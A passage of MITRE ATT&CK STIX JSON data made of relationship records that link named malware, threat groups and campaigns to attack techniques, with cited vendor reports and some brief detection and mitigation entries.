July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-22T18:43:52.817Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) can discover the DNS domain name of a targeted system.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b13de0c7-196c-4a74-9b91-c7c8c4cce419","created":"2024-02-12T20:07:33.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"},{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:25:00.865Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) initial infection payloads can masquerade as pirated media content requiring user interaction for code execution.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) is distributed through phishing links to VBS or MSI objects requiring user interaction for execution.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ZScaler Hacking Team","description":"Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.","url":"http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"}],"modified":"2020-03-16T16:56:45.655Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) deletes its original installer file once installation is complete.(Citation: ZScaler Hacking Team)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b141698c-30d9-4d4a-8f3f-683fdf13aa4c","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b14227d3-b032-482d-a19a-6dcdc0f10c9c","created":"2023-02-16T18:40:45.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T23:12:13.299Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can retrieve its primary payload from public sites such as Pastebin and Textbin.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b14326e4-f40d-416d-9b19-268be395de4b","created":"2024-05-21T17:25:19.534Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:25:19.534Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used commercial tools, LOTL utilities, and appliances already present on the system for group and user discovery.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b143e00a-062e-424a-83c2-27559ff2cdf1","created":"2021-11-23T15:39:25.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.085Z","description":"(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b148a44c-b4f9-4e19-b6b0-730b83445451","type":"relationship","created":"2021-12-27T16:53:13.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}],"modified":"2021-12-27T16:53:13.961Z","description":"[Confucius](https://attack.mitre.org/groups/G0142) has exfiltrated stolen files to its C2 server.(Citation: TrendMicro Confucius APT Aug 2021)","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-17T15:08:58.248Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can dump passwords and save them into \\ProgramData\\Mail\\MailAg\\pwds.txt.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b150e3fd-54c0-49ec-a41f-860e92712344","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Vasport May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}],"modified":"2020-03-17T02:47:10.975Z","description":"[Vasport](https://attack.mitre.org/software/S0207) is capable of tunneling though a proxy.(Citation: Symantec Vasport May 2012)","relationship_type":"uses","source_ref":"malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b153b867-6888-4071-bf34-d40305ca4150","created":"2024-08-09T20:00:10.215Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T20:00:10.215Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can reboot or shutdown the targeted system or logoff the current user.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b155462b-a06f-498f-9615-4812b5fa0dc8","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)","source_ref":"x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Wikipedia Loadable Kernel Module","description":"Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.","url":"https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"}]},{"type":"relationship","id":"relationship--b157603d-42be-40c2-b88d-16a0ba065f76","created":"2024-07-01T21:10:02.515Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T21:10:02.515Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can discover local group memberships.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b160fbd4-bceb-4fee-a08f-19ce7e99d509","created":"2024-05-22T22:43:37.788Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:43:37.788Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) removes Windows event logs during execution.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1643345-ab99-4648-ab15-0af7219978f1","created":"2023-03-26T22:00:21.287Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:00:21.287Z","description":"(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b164ac03-0d0b-494b-b433-7df173308019","created":"2022-10-19T16:08:52.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T18:21:42.489Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has used `launchctl` to restart the [Launch Agent](https://attack.mitre.org/techniques/T1543/001).(Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b16660dc-0675-462a-85fc-1902a751639e","created":"2023-03-26T19:52:06.447Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:52:06.447Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used `fsutil` to check available free space before executing actions that might create large files on disk.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1691566-c8c2-4d93-b5b0-3f5264608d1b","type":"relationship","created":"2019-05-02T14:41:03.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2020-03-19T19:30:01.100Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) uses cmd.exe to execute commands and run scripts on the victim's machine.(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b16a225f-589e-4884-b408-c5bf3acc1f22","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b16afb1a-b6ee-4cfb-9fb1-966478828480","type":"relationship","created":"2022-01-27T18:04:46.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-27T18:04:46.509Z","description":" [Bisonal](https://attack.mitre.org/software/S0268) has added the exfiltrated data to the URL over the C2 channel.(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b16b1e0e-63b0-4c5b-8809-476d9645948c","created":"2021-02-25T17:05:15.950Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IronNetInjector](https://attack.mitre.org/software/S0581) has the ability to decrypt embedded .NET and PE payloads.(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b16c27b4-f94b-43e4-832d-986c03b96ffd","type":"relationship","created":"2020-02-12T15:05:04.382Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T14:15:07.077Z","description":"Limit which user accounts are allowed to login via SSH.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b174970c-561c-4f92-9262-512d4de40e5e","type":"relationship","created":"2020-03-14T22:45:53.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T23:26:10.247Z","description":"Web proxies can be used to enforce external network communication policy that prevents use of unauthorized external services.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b17ad2f9-d568-4ad9-ac8c-e69d147f85fc","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for changes made to scheduled jobs that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.","source_ref":"x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b18c763f-7e8a-43bd-bf67-6c0cc5ac4ab3","created":"2022-01-11T16:30:57.370Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.999Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can delete the DLLs for its various components from a compromised host.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1931423-21a7-441b-b0c4-5db519b302ad","created":"2024-07-25T20:46:34.347Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:46:34.347Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes a module for establishing a process watchdog for itself, identifying if the [MgBot](https://attack.mitre.org/software/S1146) process is still running.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b196f874-ca3e-4261-8317-3a0838adf2d8","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:35:35.468Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\n","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b19ae2dc-9cbe-45b8-8b9c-ce0cd9add29a","type":"relationship","created":"2020-11-23T22:19:46.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"360 Machete Sep 